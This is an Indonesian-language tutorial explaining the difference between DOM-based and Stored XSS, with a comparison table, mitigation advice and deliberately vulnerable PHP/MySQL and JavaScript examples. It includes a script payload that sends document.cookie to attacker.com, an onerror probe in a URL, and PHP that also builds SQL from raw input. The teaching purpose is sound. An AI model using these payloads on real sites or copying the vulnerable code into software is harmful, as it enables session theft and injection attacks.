DOM-based XSS dan Stored XSS (Persistent XSS) adalah dua varian kerentanan Cross-Site Scripting yang memiliki perbedaan mendasar pada titik eksekusi, lokasi penyimpanan payload, serta cara kerja siklus hidup permintaan HTTP. Perbedaan krusial terletak pada fakta bahwa Stored XSS mengeksekusi skrip berbahaya yang bersumber dari basis data server, sementara DOM-based XSS memproses data berbahaya di sisi klien (browser) tanpa melibatkan server dalam penyimpanan payload-nya.
Analisis mendalam mengenai perbedaan arsitektur, titik kerentanan, dan dampak eksploitasi dari kedua jenis celah keamanan siber ini dapat dilihat melalui matriks komparasi teknis di bawah ini.
Matriks Perbandingan: DOM-based XSS vs Stored XSS
| Parameter Perbandingan | DOM-based XSS | Stored XSS (Persistent) |
|---|---|---|
| Lokasi Penyimpanan Payload | Tidak disimpan (hanya dieksekusi di Client-Side lewat manipulasi DOM). | Disimpan secara permanen di server (Database, File, Log, atau Comment Section). |
| Keterlibatan Server | Server tidak mengetahui adanya payload; server merespons halaman secara normal. | Server menerima, menyimpan, dan memantulkan payload kembali ke korban. |
| Titik Sumber (Source) | location.search, location.hash, document.referrer. |
Formulir input, kolom komentar, profil pengguna, keranjang belanja. |
| Titik Eksekusi (Sink) | eval(), document.write(), innerHTML, outerHTML. |
Respons HTML yang dirender langsung oleh browser dari data server. |
| Tingkat Risiko & Dampak | Tinggi (bergantung pada akses korban terhadap URL yang dimanipulasi). | Sangat Tinggi (dapat menjangkau seluruh pengguna yang mengakses halaman tersebut). |
Mekanisme Kerja dan Contoh Kasus Stored XSS
Stored XSS terjadi ketika aplikasi web menerima input dari pengguna, gagal melakukan sanitasi atau enkode, lalu menyimpannya ke dalam penyimpanan persisten seperti database. Setiap kali pengguna lain membuka halaman yang memuat data tersebut, browser mengeksekusi skrip berbahaya secara otomatis tanpa memerlukan interaksi tambahan dari korban.
Contoh Kode Kerentanan Stored XSS (PHP & MySQL)
// Penyimpanan input rentan ke database tanpa sanitasi
$komentar = $_POST['komentar'];
$sql = "INSERT INTO komentar (pesan) VALUES ('$komentar')";
mysqli_query($conn, $sql);
// Menampilkan data mentah ke halaman web
$result = mysqli_query($conn, "SELECT pesan FROM komentar");
while($row = mysqli_fetch_assoc($result)) {
echo "<div>" . $row['pesan'] . "</div>"; // EKSEKUSI BERBAHAYA JIKA ISI BERUPA SKRIP
}
Jika seorang penyerang mengirimkan input berupa <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>, kode tersebut akan tersimpan di database dan tereksekusi di setiap browser pengunjung situs.
Mekanisme Kerja dan Contoh Kasus DOM-based XSS
DOM-based XSS terjadi sepenuhnya di dalam lingkungan sisi klien (browser). Kerentanan ini muncul ketika JavaScript pada aplikasi membaca data dari sumber yang dapat dimanipulasi oleh pengguna (source) dan meneruskannya ke fungsi berbahaya di dalam DOM (sink).
Contoh Kode Kerentanan DOM-based XSS (JavaScript)
// Mengambil data dari URL parameter 'nama'
var searchParams = new URLSearchParams(window.location.search);
var nama = searchParams.get('nama');
// Titik rentan: Memasukkan data mentah langsung ke DOM menggunakan innerHTML
document.getElementById('welcome-message').innerHTML = 'Halo, ' + nama;
Jika korban mengakses URL terinfeksi seperti https://example.com/page.html?nama=<img src=x onerror=alert(document.domain)>, skrip tersebut akan dieksekusi oleh browser korban, meskipun server web tidak pernah menyimpan atau memproses payload tersebut.
Strategi Mitigasi dan Pencegahan Keamanan
Meskipun keduanya adalah varian XSS, pendekatan pencegahan harus disesuaikan dengan karakteristik masing-masing kerentanan:
- Pencegahan Stored XSS: Terapkan validasi input ketat (whitelist), lakukan Context-Aware Output Encoding pada sisi server sebelum merender data ke HTML, serta manfaatkan parameterized queries.
- Pencegahan DOM-based XSS: Hindari penggunaan fungsi berbahaya seperti
innerHTML,outerHTML, ataudocument.write()untuk data yang bersumber dari pengguna. Gunakan properti aman sepertitextContentatauinnerText. - Content Security Policy (CSP): Implementasikan header HTTP CSP yang kuat untuk membatasi eksekusi skrip inline dan mencegah pemuatan sumber daya dari domain eksternal yang tidak sah.